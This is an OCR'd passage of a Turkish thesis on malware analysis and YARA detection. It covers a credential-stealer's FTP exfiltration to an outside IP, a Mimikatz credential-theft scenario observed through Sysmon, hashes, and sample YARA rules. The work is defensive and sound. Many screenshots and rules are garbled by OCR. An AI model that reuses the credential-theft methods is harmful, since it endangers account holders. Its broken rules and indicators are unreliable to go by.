13:31:01,0098626 []SystemGT 4228 @ ReqOpenkey
13:31:01,0096822 [(ISystemGT 4228 @ RegOpenkey
13:31:01,0101923 [ISystemGT 4228 BRCreateFie

13:31:01,0103675 [C]SystemGT
13:31:01,0103991 SystemGT
13:31:01.0104093 [JSystemGT
13:31:01.0104810 []SystemGT
13:31:01.0105198 [1SystemGT
13:31:01.0105398 []SystemGT
13:31:0.0107416 [SystemGT
13:31:01,M08710 [SystemGT
13:31:01,0112060 [SystemGT
13:31:01,0113762 [SystemGT
13:31:M,0115771 []SystemGT

4228 [BhCreateFile

4228 B\Qua'yﬁaslc\nformatlonﬁ\e
4228 BhClossFile

4228 BhCreateFils

4228 A CreateFileMapping
4228 Bk CreateFileMapping
4228 &% load Image

4228 &% load Image

4228 8% load Image

4228 [k CloseFile

4226 @¥ReqQuenyValue

T Windows System 2.ntdl al

HKLMMSYSTEM CumentControl Set\ControltSession Manager*Segment Heap
HKLM\System\CumrertControl Set\Cortrol* Session Manager\Segment Heap
C\Windows"\System32

C:\Windows'\System 32'mscoree.dl

C\Windows'\System 32'mscoree. dl

CMWindows'\System 32 mscoree. dl

CMWindows'\System32'mscoree.dl

CMWindows'\System32'\mscoree. dl

C\Windows\System32'mscoree.dl

CM\Windows'\System32\mscoree dil

C\Windows\System32'\kemel32 di

C:\Windows\System32'\KemelBase dll

C\Windows\System32\mscoree dll
HKLM\System\CumentControl Set \Cortrol\WMI'\Security \05 95efe- A 75-49c 7-2994-60a55cc 09571

Sekil 4.23 “SYSTEMGT’"'nin Baslamasi

Hacker

Processes

View Tools
%Re«‘rash @Opt\ons ‘ &8 Find handles or DLLs %% System information | O& X

Users  Help

Services  Network  Disk

MName

~ [55] RuntimeBroker.exe

PID
3144

CPU

IfOtotal ... Private b...

10,58 MB  DESKTOP-2RKQQO3\mst

User name Description

Runtime Broker

ﬁ ‘WmiPrvSE.exe 4744 10,41 MB  NT AUTHORITYV\SYSTEN WM Provider Host
[55] svchost.exe 696 403MB  M.ANETWORK SERVICE  Windows Hizmetleri igin Ana ...
w [£5] svchost.exe 868 0,06 67,23MB  NT AUTHORITV\SYSTEN  Windows Hizmetleri igin Ana ...
[85] sihost.exe 3044 406 MB  DESKTOP-2RKQQ03\mst  Shell Infrastructure Host
[#:] taskhostw.exe 3068 5,06 MB DESKTOP-2RKQQ03\mst Windows Gorevleri ig\n Ana Bi...
5848 0,02 67,09 MB  DESKTOP-2RKQQD3\mst
[55] svchost.exe 924 0,05 305MB NTAUT..\Local Service  Windows Hizmetleri igin Ana ...
[55] vmacthlp.exe 996 1,19ME  NT AUTHORITY\SYSTEN  Vhiware Activation Helper
~ [85] svchost.exe 1008 0,01 88B/s 743MB  NT AUTHORITYASYSTEN  Windows Hizmetleri igin Ana ...
[55] WUDFHost.exe 1140 0,06 1.97MB  NTAUT..\Local Service  Windows Saricd Yapisi - Kulla...
[#=] WUDFHost.exe 336 1.52MB  NT AUT..\Local Service  Windows Saricd Yapisi - Kulla..,
[85] svchost.exe 360 0,01 1287MB  NT AUT..\Local Service  Windows Hizmetleri igin Ana ...
[55] swchost.exe 304 816 MEB NTAUT..\Local Service  Windows Hizmetleri igin Ana ...
[85] svchost.exe 1112 657 MB  N.ANETWORK SERVICE  Windows Hizmetleri igin Ana ...
@ spoolsv.exe 1248 848 MB  NT AUTHORITY\SYSTEN  Biriktirici Alt Sistemi Uygulam...
[85] svechost.exe 1332 017 2,02 kB/s 11,3MB  NT AUT..\Local Service  Windows Hizmetleri igin Ana ...
—

CPU Usage: 11.94%  Physical memory: 5,1 GB (63.69%) Processes: 55

Sekil 4.24 "SYSTEMGT" nin Sistemde Aktif Calistiginin Goriilmesi

.125.99.72

152.168.43.95
192.168.43.93

152,462371 192.166.43.99
152,321879 192.168.43,

Time Source Destination Protocol  Length Host
36984 12:43153,262932 93.125.99.72 192.163.43.93 FIP 148
| 36901 12:43153;249949 93.125.99.72 192,164,43.99 T Cl
52,270892 93.125.99.72 192.168.43.99 FP 8
e

5154563 93.125.99.72 152.168 2
26,995269 93.125.99.72 192,168.43.99 e B2
53.125.99.72 182.168.43.99 ETR a8
93.125.99.72 192.168.43.59 T ]
.125.59.72 192.168.43.55 Fe 77

.125.53.72 152.163.43.53 ETe a7

.125.99.72 192.168.43.59 TR an

.125.39.72 192.168.43.55 FTP £

+125.99.72 192.168.43.99 TR ]

192.169.43.99
3.125.99,72

93.125.99.72

93,125.99.72

Info ]
Response: 226-File successfully transferred
5261 + 49525 [ACK] Seqel Ack=1573 Win=133120 Len=9 ]

fesponse: 158 Accepted data connection
21 > 29524 [ACK] 560-546 ACK-128 Win-131872 Len-2

Response: 227 Entering

Response: 288 TYPE is now 8-bit binary
Response: 257 "/" is your current location

21 + 49524 [ACK] 5eqe432 Ack=56 Win=131072 Lens@

Response: 288 OK, UTF-8 enabled ]
Response: 238 OK. Current restricted directory is /

21 = 49524 [ACK] Seqs366 ACks37 Wins131872 Lens@ i
Response: 331 user cloud@gr.by OK. Password required

21 = 49524 [ACK] Seq=322 Ack=19 Win=13172 Len=¢

Response: 226- - Welcome to Pure-FiPd [privsep] [1Ls] -

48524 + 21 [ACK] 560=128 Ack=£70 Win=65792 Len=0
43525 - 55261 [ACK] Seg=1574 Ack=2 Win-66566 Len-o

FTP Data: 1572 bytes (PASV) (STOR Cookie msty-DESKTOP-2RKOQ83_2815 83 26 15 43 _38.71p)
=)

T T T ST N e T

Sekil 4.25 Belirtilen IP Adresine FTP Protokolii ile Kimlik/Oturum Bilgilerinin Gonderilmesi
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“E-DEKONT.doc” ve “ldin.exe” isimli zararli yazilimlara ait SHA256 hash degerleri sirasiyla;
e “ce35722bd6bd289ecba98612897b4f4b927410948ec261954412e81843834eec”,
e “e64fffO0aadlafd4ec73fc7bd502b8e71189f6faabfee3898106dd867d5f51ae9”,

Olarak tespit edilmistir. Bu bilgiler de yara kurali yazilirken kullanilmistir.

4.3.1. Yapilan Zararh Yazihm Analizine Ait Yara Kurah

Sekil 4.26’da Boliim 4.3’te Analiz edilen zararliya ait yara tespit kurali verilmistir.

rule e-dekont-password-stealer-detect {
strings: -
$s1 = { 3D D4 40 36 19 DB Al 64 Al 32 23 D7 }
$s2 {13 BB FB 43 48 E5 D7 F5 35 9F A6 59 9D 9B F5}

condition:
all of them

8]

Sekil 4.26 Boliim 4.3’te Analiz Edilen Zararliya Ait Yara Tespit Kuralt

4.4. Kimlik Bilgisi Elde Etme Saldiris1 Ornegi

Bu atak tekniginde saldirganiin hedef makineye Bolim 2’de agiklanan tekniklerden herhangi
birini kullanarak eristigi ve kimlik bilgilerini elde etmek i¢in kullanilan zararli yazilimin simiile
edildigi senaryo Ornegi agiklanmaktadir. Bu boliimde hedef makineye saldirganin senaryo geregi
erisiminin oldugu ve mimikatz zararlisim1 kullanarak hedefine ulastigi senaryo agiklanmistir.
Buradaki analiz ¢iktis1 sonucunda bu tiir saldirtyla karsilasan kuruluslarin olusturulan yara kurali

ile tespiti yapmas1 hedeflenmektedir.

Mimikatz, “Benjamin Delpy” isimli agik kaynak kod gelistirici bir kisi tarafindan gelistirilen “post-
explotation” aracidir. “Post—explotation”, bir sisteme yetkisiz erigsim saglandiktan sonra
gergeklestirilebilen eylemleri tanimlayan genel bir siber giivenlik kavramidir. Aracin amaci, diiz
metin sifrelerini, Microsoft windows igletim sistemleri igerisinde kimlik bilgilerinin tutuldugu
proses i¢inden kimlik bilgilerine ait hash degerlerini ve yine Windows igletim sistemlerine ait
kerberos biletlerini bellekten elde etmeyi amaglayan ve kimlik bilgisi hirsizligina hizmet eden
zararh yazilimdir. Bu aragla elde edilecek olan hash ve biletlerle AD ortaminda yatayda hareket

etmeyi saglar. Bu araca ait giris ekran1 goriintiisii Sekil 4.27°de verilmistir.
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BN mimikatz 2.2.0 x64 (pe.eo) - O ®

saklidar,

ntilkiwi.com )

1.com

"standard” module not found !

I

mimikatz # SS

Sekil 4.27 Mimikatz Zararlisina Ait Ekran Gorlintiisii

Bu senaryoda kurban sisteminin hedefli kimlik avi kullanarak veya sifir giin istismar1 nedeniyle
giivenliginin ihlal edildigini varsayalim. Saldirgan hedef sisteme ulagsmis ve “mimikatz” isimli
zararliy1 ¢alistirmigtir. Zararlinin yeteneklerini kullanarak sistemde oturum agmis kullanicilara ait
hesap bilgilerini ele ge¢irmistir. Bu bilgilere ait detaylar Sekil 4.28, Sekil 4.29 ve Sekil 4.30°da

verilmistir.
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EE mimikatz 2.2.0 x64 (oe.e0) — O X

Sekil 4.28 Mimikatz ile Kimlik Bilgilerinin Ele Gegirilmesi
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Microsoft-Windows-Sysmon%40perational  Olay sayisi: 24

Dizey Tarih ve Saat Kaynak Olay Ki... Garev ..
@ Bilgi 13.06.2022 18:21:00 Sysmon 1 Proces..

Olay 1, Sysmon

Genel  Aynintilar

Process Create:

RuleMame: -

UtcTime: 2022-06-13 15:21:00.892

ProcessGuid: {859c55db-55dc-62a7-9203-000000000700}
Processld: 2232

Image: CAUsers\PC\Desktoph\mimikatz_trunk\x6d\mimikatz.exe
FileVersion: 2.2.0.0

Description: mimikatz for Windows

Product: mimikatz

Company: gentilkiwi (Benjamin DELPY)

OriginalFileMame: mimikatz.exe

CommandLine: mimikatz.exe

CurrentDirectory: C:\Users\PC\Desktoptmimikatz_trunkixgdy,
User: DESKTOP-G5AFAMDVPC

LogonGuid: {859c55db-10c3-62a7-1c1d-020000000000}
Logonld: (x2107C

TerminalSessionld: 1

IntegrityLevel: High

Hashes: SHA256=912018AB3C6B16B39EEB4F17745FFOCB0A33CEE241013EC35D0281E40C0R58D9
ParentProcessGuid: {839c55db-5343-62a7-6603-000000000700}
ParentProcessld: 328

Parentlmage: CAWindows\System32\cmd.exe
ParentCommandLine: "CA\Windows\system32hcmd. exe"
ParentUser: DESKTOP-G5AFAMDAVPC

Ganlak Adr Microsoft-Windows-5ysmon/Operational

Kaynak: Sysmaon Ganlige kaydedilen:  13.06.2022 18:21:00

Olay Kimligi: 1 Garev Kategorise Process Create (rule: ProcessCreate]
Dizey: Bilgi Anahtar Sozcakler:

Kullanice: SYSTEM Bilgisayar: DESKTOP-G3AFAMD

islern kodu: Bilgi

Ek Bilgi: Olay GanlGgd Cevrimigi Yardimi

Sekil 4.29 Mimikatz Programinin Calistigin1 Sysmon ile Tespit Etme

Tarcietlmaqe: C:\WINDOWS\system 32\Isass.exe
GrantedAccess: 0x1010
CallTrace: C:\WINDOWS\SYSTEM32\ntdll.dll+9¢534|C:\WINDOWS\System 32\KERNELBASE.dI|+

Sekil 4.30 Mimikatz ile Kimlik Verilerinin Okundugunun Tespiti

4.4.1. Yapilan Zararh Yazihm Analizine Ait Yara Kurah

Sekil 4.31°de Boliim 4.4’de Analiz edilen zararliya ait yara tespit kural verilmistir. Buradaki zararl

tiirii cok genel olmasi sebebiyle tespit igin birden fazla kural 6nerilmistir.
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/LICENSE"

condition:
1 of them

a Powershell erlap with other Mimikatz

rbi)
full
rd

; kuhl_m_lsadump,

B0KB and 1 of them } or 2 of them

Sekil 4.31 Boliim 4.4’de Analiz Edilen Zararliya Ait Yara Tespit Kurali
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5. YARAILE ZARARLI YAZILIM TESPIiTi

Adli bilisgimde sorusturmanin énemli yonlerinden biri, bir sistem veya agdaki olas1 kotii amagl
yiiriitiilebilir dosyalarin tanimlanmasi ve siiflandirilmasidir [42]. Zararli yazilim tespiti, dosyalara
ait bilinen 6zelliklerin tespit edilmesi yontemi kullanilarak yapilmaktadir. Bu tiir kotii amagli zararh
yazilimlar tespit etmek icin, siipheli olarak degerlendirilen dosyanin 6zet fonksiyon degerini (hash)
hesaplamak ve bunu bilinen kotii amaglh yazilimlarin 6zet fonksiyon degerleriyle karsilagtirmaktir.
Ancak bu teknikle zararlilarin tespitinin yapilmasi her zaman miimkiin olmamaktadir. Bu yontemle

zararlilar tam manasiyla tespit edilemez [42].

Bunun sebebi 6zet fonksiyon degerlerinin kolaylikla degistirilebilmesine dayanmaktadir. Ozet
fonksiyon algoritmalar1 girdi ne olursa olsun sabit bir ¢ikti tiretir. Bu durumda girdide olusabilecek
cok kiiciik bir degisiklik ¢iktinin tamamen degismesine sebep olur. Bu sayede zararli yazilimlara
ait 6zet fonksiyon degerlerini degistirmek kolay bir hale gelmektedir. Ornegin zararli kod
icerisindeki bir parametre isminin degistirilmesi veya bir yorum satir1 eklenmesi zararlinin dzet

fonksiyon degerini tamamen degistirecek ve gizli kalmasini saglayacaktir [42].

Viriisten koruma yazilimlar1 veya kurumsal zararli yazilim tespiti ¢oziimleri bir dosyada belirli
tirleri veya zararl yazilimi dahil oldugu aile gruplarimi tanimlayan belirli bir metin kiimesini tarar.
Viriisten koruma yazilimlari, belirli bir zararliya 6zgii bir dizi bayt da arayabilir. Bazi ¢oziimler
davranis analizi yaparak zararl yazilimlari tespit etmeyi hedefler. Kotii amagli yazilim veya zararli
yazilim, karmasik ve kotii niyetli bir yazilimin parcasidir. Davranisi, bilgisayar sistemlerindeki

basit degisiklikler gibi temel eylemlerden gelismis davranis kaliplarma kadar uzanir [43].

Tanim olarak kotii amagli yazilim, veri ve kimlik ¢calma, casusluk, mesru kullanict bulagmasi gibi
bilgisayar sistemlerine zarar vermek ve gelistiricisine tam veya sinirli kontrol saglamak amaciyla

kotii niyetli bir yazilim pargasidir [43].

YARA, metin veya ikili desenler gibi 6zel anti viriis benzeri imza algilamasina dayali olarak kotii
amacl yazilimlar1 tanimlamak igin kural tabanli bir yaklagim kullanan agik kaynakli bir aragtir.
Kurallar veya agiklamalar, dizilerden ve mantiktan olusturulur ve 6rnegi belirli zararli yazilim

ailelerine veya varyantlaria gore siniflandirmak i¢in kaliplar veya 6zelliklerle eslesir [44].



5.1. Yara Tanim

Yara kurallari, siber giivenlik analistleri icin her alanda kullanabilecegi pratik bir aracgtir. Kotii
amacli yazilim ailesini tespit etmek icin yiiksek kaliteli Yara kurallar1 gelistirmek, bu alanda
kendisini geligtirmis uzmanlar i¢in bile yogun emek ve zaman alabilir. Yara kurallari, metinsel veya
ikili kaliplara dayali olarak kotii amagli yazilim ailelerinin agiklamalarini olusturarak kotii amagl
yazilim drneklerini siniflandirir ve tanimlar. Zararli dosyalari hizl bir sekilde bulmak i¢in bir dosya
veya bir dosyanin bileseniyle eslesecek metin veya ikili kaliplari tanimlamak i¢in Yara kurallarini
kullanabiliriz. YARA, kurallar tarafindan tanimlanan kistaslar1 karsilayan herhangi bir dosyay1
tanimlamak i¢in YARA'nn bir dosya sistemini taradigi “yar” veya “yara” formatinda bir kural
dosyast kullanarak c¢aligir. VirusTotal firmasi tarafindan gelistirilmis ve ticretsiz kullanima
sunulmustur [45].

En basit tabiri ile bir yara kurali Sekil 5.1°de gosterilmistir.

rule sozdekod yara : ornek
{
meta:
description = "Bu O6rnek bir YARA kuralidir."
threat level = 3
strings:
Sa = {6A 40 68 00 30}
Sb = "malware"
condition:
Sa OR $b
}

Sekil 5.1 Ornek Yara Kurali

Sekil 5.1°de verilen ve “rule” ile baslayan sozdekod_yara isimli 6rnek kural, bir Yara kuralinin
baslangicini gosteren baslik olarak tanimlanabilir. Sozdekod_yara dizesi, yara kurali i¢in segilen
isimdir. Yara kuralinin basarili olabilmesi i¢in igerigine uygun baslik segmek onemlidir. “meta:”
boliimii, kural ile ilgili detaylarin ve iist verilerin bulundugu alandir. Buradaki bilgiler kuralin
tanimlanmasi ig¢in Onemlidir. “strings” boliimi, kural ile ilgili tespit yapilmak istenen ve
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desteklenen her formatta verinin yazilabilecegi alandir. “condition:” veya kosul boliimii, Yara
kurallarimizin bir eslesmeyi tetikleyebilmesi i¢in kontrol etmek istediginiz kosullar1 tanimlar. Tiim

kosul sartlar1 burada uygulanabilir [45].

Yara, her tiirli bilgisayar ortamindaki kotii amaclh dosyalari tespit etmek igin bir kural kiimesidir.
Kotii niyetli faaliyetlerle ilgili tespiti kolaylastirir. Hizli ve plaform bagimsiz ¢alisir. Kurulum
gerektirmez. Kod karmasiklastirma gibi karmasik tekniklerin Tespitinde dnemli rol oynar. Genel

kullanim standartlar1 asagida agiklanmistir [45].



e Strings:
* Hex=> {} arasina yazilir.
e Text=>"" arasinda yazilir.
* Regex =>// arasina yazilir.
*  Condition:
e And
e Or
* Any of them
* All of them
*  Counting strings ( #a == 6 and #b > 10)

Yara’ya ait tiim kosullar Sekil 5.2°de sunulmustur.

Keyword String Types Summary Restrictions
ase Text, Regex Ignore case Cannot use with 3se64 , OF basess
Text, Regex Emulate UTF16 by interleaving null (0x00) characters None
Text, Regex Also match ASCII characters, only required if wice is used None
Text XOR text string with single byte keys Cannot use with nocase , basess , or
Text Convert to 3 baseé4 encoded strings Cannot use with se , xor ,0r full
e64uide Text Convert to 3 baseé4 encoded strings, then interleaving null characters like wide Cannot use with nocase , or ¢
fullword Text, Regex Match is not preceded or followed by an alphanumeric character Cannot use with basess or bas
Hex, Text, Regex Match never included in output None
Sekil 5.2 Yara Kosullart

Yara Kullanimi i¢in “http://virustotal.github.io/yara/”” adresinden ara¢ indirilir ve “Yara.exe —mrs

<kural.yar> <taranacak _dizin>” komut dizesi ¢alistirilarak tarama yapilir.

5.2. Ornek Yara Kullanimi

Siber giivenlik analisti olarak CERT ekibinde calisiyorsunuz ve sistemlerinizden birinde kotii
amaglt bir dosya buldunuz. Yoneticiniz size dosyayir analiz etmenizi ve benzersiz verileri
toplamanizi, bir Yara kurali yazmaniz ve ardindan bunu kurum genelinde aramaniz igin
gorevlendirdi. Kotii amagl dosya, yiiriitiilebilir “.exe” dosyasi olsun ancak kullanicilar1 kandirmak
icin kendisini bir “.pdf”” dosyasi olarak gizledigini ve bu nedenle kotii amagl yazilimi ¢aligtiran

kisiler bunu normal bir pdf dosyasi olarak diisiinmesini sagladigini varsayalim. Bu dosyanm ad1
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"maas-zam" oldugunu tespit ediyorsunuz. Bunun incelemesini yapmaniz ve tiim kurumda bu dosya

varligimi kontrol etmeniz gerekiyor. Bu 6rnekte bunun nasil yapilacagini agiklayacagiz.

Ad Degigtirme tarihi Tir Boyut
mimikatz_trunk 13.06.2022 18:07 Dosya klaséri
Sysmen 13.06.2022 1818 Dosya klasard
L) Firefox Setup Stub 54.0.1.exe 3.08.2017 21:10 Uygulama 261 KB
(5] rnaas-zam. pdf.exe 14.06.2022 (4:53 Uygulama 292 KB
_ mimikatz_trunk.zip 13.06.2022 13:28 Stkastinlrg Klasar 1.225 KB
Sysmen.zip 13.06,2022 1817 Stkistinlug Klasgr 3189 KB

Sekil 5.3 "maas-zam" Zararlis1

Sekil 5.3°te gosterilen ekran goriintiisii bize dosyanin bir “.exe” dosyasi oldugunu ancak bir “.pdf”
belgesi olarak goriindiiglinii agikga gosteriyor (Yara kurali yazarken bu bilgiyi kullanacagiz). Bu
dosyanin Hash degerini ¢esitli araglar1 kullanarak hesaplayabilir ve VirusTotal gibi platformlarda
hit olup olmadigini kontrol edebiliriz.

Dosyanim hash degerinin hesaplamasini yaptiktan sonra yara kurali olusturmak i¢in zararli dosya
icerisinde benzersiz stringleri ayristirmamiz gerekmektedir. Bu islemi yapabilmek i¢in boliim 4’te
aciklanan statik analiz teknikleri yani sira Microsoft tarafindan gelistirilen “string.exe” araci
kullanilabilir. Bu ara¢ dosya igerisindeki tiim string degerlerini ¢ikarir. Devaminda dosyaya 6zel
olan alanlarin gézle inceleyerek ayristirilmasi kalir. Bu 6rnegimizde yer alan dosyanin “string.exe”

araci tarafindan verilen ¢iktis1 Sekil 5.4 ve Sekil 5.5’te gdsterilmistir.
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$ strings maas-zam.pdf.exe

® objeee 65535 f
Type /fOutlines /Count @ >>

endobj@e74 @088 n

3 @ objl2e eveee n

(Type /Pages@ n

ids [6 @ RBE8e n

n

/Resources << y

f n

n

n

n

n

n

n

€4 n

REB86e n

REB8ee n

n

/G54 27 © RBB688 n
/MediaBox [©.060 ©.606 612.808 7

endob]j eeeee n

4 B ob 88888 n

fImageC ]

88668 n

1 es8eae n

(eeaae n

eationDate (D 220614845159+83 '08 ")

odDate (D:20228614845159+83 68

a4b1813b317e930ed446ff: eab5sa4 4b1813b317e93B8e448FF> ]

/Type /Page
X [0.bB6 ©.6E6G b612.800 7

[
e

Sekil 5.4 Zararli Yazilim String Ciktist
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f:]i
endstream

/Encoding /Identity
/DescendantFonts [17 © R]
/ToUnicode 16 & R

Length 345 >>

rean
JCIDInit /ProcSet findresource begin
12 dict begin

rstemInfo
stry (Adobe)

=

JOrdering (UCS)

/Supplement @

»» def

{CMapName /fAdobe-Identity-UCS def

odespacerange
‘FFFF>
endcodespacerange
1 beginbfrange

endcmap
CMapName currentdict /CMap defineresource pop
endstream

ype /Font
ibtype /CIDFontType2
/BaseFont /DejaVuSans-Bold
/CIDSystemInfo 18 @ R
/FontDescriptor 20 @ R
/Dl 568

Sekil 5.5 Zararli Yazilim String Ciktist

Sekil 5.4 ve Sekil 5.5’te elde edilen string degerler igerisinden benzersiz olabilecek degerler

ayrigtirilir ve kural yazmak igin kullanilir. En basit sekilde bir yara kurali bu sekilde yazilabilir.

5.3. Ornek Yara Kurallar

Burada iki farkli 6rnek yara kurali gosterilmektedir;
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rule {kural_ismi}

{
meta:
author:
description:
string:
$a: “string1” nocase #case sensitive NO
$b: “string2” wide #unicode string
$c: “str”” wide ascii #2 farkli karakter dizesini aramak i¢in wide kullanilir
$d: “thycdc” fullword
condition:
$a or $b
}

rule detect_calculator

{
meta:
description = “Calculator” nocase
author = “mustafa”
strings:
$a = {4361 6¢c 6375 6¢c 6174 6f7253 7461727465 64}
$b = “Calculator”
condition:
$a or $b
}
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6. SONUC VE ONERILER

“4.2.1. Yapilan Zararli Yazilim Analizine Ait Yara Kurali” bashiginda ¢alisma igerisinde 6rnek
olmasi amaciyla gelistirilen yara kurali paylagilmistir. Yapilan ¢alisma tamaminda buna benzer
300°den fazla yara kurali sektor genelinde arastirilarak derlenmistir. Bu kurallar ¢alismaya ek
olarak EK1’de sunulmustur. Bu ¢alisma sayesinde kurum ve kuruluslarda ¢aligan siber giivenlik
analistleri kendi ¢alistiklar1 kurumlarda zararli yazilim tespiti yapabilmesi i¢in hizli ve pratik bir

yontem Onerilmistir.

Ayni1 zamanda “3.4. Manuel Bir Olay Miidahalesi Ornek Calismas1” bashiginda gelistirilen script
sayesinde kurum genelinde bir olay miidahale ¢alismasina destek olunmasi hedeflenmistir. Buna
ek olarak Linux sistemlerde manuel adli bilisim incelemeleri yapilabilmesi i¢in bir script

gelistirilmistir. Bu sayede lisans maliyeti olmadan Linux sistemlerde hizli analiz yapilabilmektedir.

Gelistirilen Yara kurallar1 ile kuruluglarda zararl tespit yontemlerine katki saglanmigtir. Nasil Yara
gelistirilecegi anlatilarak bu calismanin siirekliligi saglanmistir. Literatiirde yapilan aragtirma
sonucunda elde edilen diger kurallar gruplandirilmig ve bu ¢alismada ek olarak sunulmustur. Bu
yontem sayesinde kurum genelinde, platform bagimsiz her tiirlii isletim sistemi iizerinde zararh

yazilim varliginin tespiti kolaylikla yapilabilmektedir.

6.1. Tez Ciktilarimin Literatiire Katkilar

Bu caligma sonucunda elde edilen YARA kurallar1 kullanilarak her sirket veya kurulus kendi
biinyesinde sik¢a kullanilan zararli yazilimlarin varligin pratik bir sekilde tespit edebilecektir.
Ayni zamanda yeni karsilagtig1 bir zararli yazilimi1 Y ARA ile nasil tespit edebilecegini anlayacaktir.
Burada elde edilen YARA kurallar kullanilarak sistemler geriye doniik taranabilecek ve olas1 var
olan bir yetkisiz erisim tespiti kolaylasacaktir. Kurum ve kuruluslarin kullandig1 ve yiiksek maliyet
gerektiren zararl yazilim analizi yapabilen ¢6ziimler yerine bu biitgeyi ayirmadan da bu ¢aligmalar
yapilabilecektir. Veya bu ¢6ziim diger kurumsal ¢oziimlere destek mahiyetinde kullanilabilecektir.
Bu caligsma yapilirken arastirilan saldir1 tekniklerinin tespiti igin web genelinde yara kurallari

arastirllmigtir. Toparlanan kurallar gruplanarak Ek-1’de sunulmustur.

6.2. Oneriler

Buradan yola ¢ikilarak zararli yazilimlarin tespiti i¢in otomatik bir yara kural olusturabilen bir arag
gelistirilebilir. Bu arag¢ sayesinde siirecler daha da hizlandirilabilir. Ancak bu aracin ¢iktilarinda

olusabilecek hatalarin en aza indirgenmesi icin detayli calisma gerekecektir.
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